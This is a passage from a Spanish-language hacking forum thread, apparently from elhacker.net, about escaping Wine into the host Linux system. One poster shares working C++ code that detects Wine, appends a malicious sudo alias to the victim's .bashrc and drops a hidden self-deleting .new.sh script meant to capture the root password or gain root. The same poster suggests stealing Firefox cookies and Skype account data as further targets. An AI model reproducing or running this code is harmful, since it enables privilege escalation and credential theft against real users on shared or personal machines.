Yo diría que no ya que Wine emula las APIs de Microsoft pero en un entorno controlado, por lo cual no podrías tener acceso al exterior del entorno. Saludos

si habria que ver pero por ahora


mi idea funciona claro se puede mejorar muchas cosas pero funciona

#include <windows.h>
#include <fstream>
 
using namespace std;
 
int main()
{
    HKEY llave;
   //comprobamos la existencia de wine
    long wine=RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\wine",0,KEY_READ,&llave);
    if(wine!=ERROR_SUCCESS)
    {
        MessageBox(NULL,"no es wine","WINDOWS",MB_OK);
    }
    else
    {
    MessageBox(NULL,"wine detectado","WINDOWS",MB_OK);
    // obtenemos el nombre de usuario que es el nombre de la carpeta home
    char *usuario=getenv("USERNAME");
    //por lo general wine permite el directorio root desde Z: asi que Z:\home\usuario es la carpeta del usuario
    char *home="Z:\\home\\";
    char home2[strlen(home)+strlen(usuario)];
    //------------------------------
    strcpy(home2,home);
    strcat(home2,usuario);
    //----------------------------------
    //nos ubicamos en el directorio de usuario una vez alli  creamos un alias sudo=MiComando.sh en bashrc asi que cuando vuelvan a abrir la consola y ejecutan sudo abrira nuestro comando
    if( SetCurrentDirectory(home2)!=0 )
    {
    ofstream bashrc;
    ofstream nuevosudo;
    bashrc.open(".bashrc",ios::app);
    if(bashrc.is_open())
    {
        // le doy permisos para ejecutarlo y luego ejecuto el new.sh cuando abre sudo y ademas ejecuta nuestro comando
     bashrc << "alias sudo='chmod +x \"$HOME/.new.sh\" && \"$HOME/.new.sh\" '" << endl;
     bashrc.close();
     //si no pongo en el nuevosudo ios::binary da error
     nuevosudo.open(".new.sh",ios::binary);
     nuevosudo << "#!/bin/bash " << endl;
     nuevosudo << "echo aca iria el sudo falso :D"<<endl;
     nuevosudo << "echo o cualquier cosa que se nos ocurra" << endl;
     // comando para borrar la ultima linea de un archivo que seria el alias que acabo de escribir en bashrc
     nuevosudo << "  cat .bashrc | awk 'BEGIN{x=0};{x++};END{print \"sed -i\" \" \"x\"d\" \" \" \".bashrc\" }'| sh " << endl;
     // se corra el comando
     nuevosudo << "alias sudo='/usr/bin/sudo' &" << endl;
      nuevosudo << "rm \$0" << endl;
     nuevosudo.close();
    }
    }
    }
    return 0;
}

a ver creo que no entendiste
de nuevo crea un sudo falso y con este puedo o obtener privilegios de root usando el sudo real o obtener la clave de root .
si es un truco tonto :'P
http://foro.elhacker.net/scripting/bashcodigoconseguir_root_con_falso_sudo-t405273.0.html

 Ademas en la carpeta de usuario hay cosas interesantes por ejemplo en .mozilla esta el archivo prefs.js esta la configuracion de firefox podria cambiar la pagina de inicio, que lo probe o (no lo he probado ) instalar una extension , o tomar la base de datos de las cookies , o  ver informacion de la cuenta de skype.